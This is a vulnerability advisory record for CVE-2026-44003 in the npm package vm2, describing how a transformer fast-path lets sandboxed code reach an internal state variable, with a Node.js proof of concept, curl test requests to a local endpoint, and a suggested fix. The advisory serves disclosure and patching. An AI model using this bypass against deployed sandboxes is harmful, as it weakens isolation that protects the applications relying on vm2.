{"id":"CVE-2026-44003","aliases":["GHSA-wp5r-2gw5-m7q7"],"url":"https://o3.security/vulnerability/CVE-2026-44003","summary":"vm2: Transformer Fast-Path Bypass Exposes Internal State Variable","details":"### Summary\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed — no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test — blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\n# Result: \"wrapWith,handleException,import\"\n\n# Control test — blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.","published":"2026-05-13T17:30:38.883Z","modified":"2026-08-12T03:51:28.812429192Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.00248,"percentile":0.16356,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44003.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44003"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.812429192Z"}}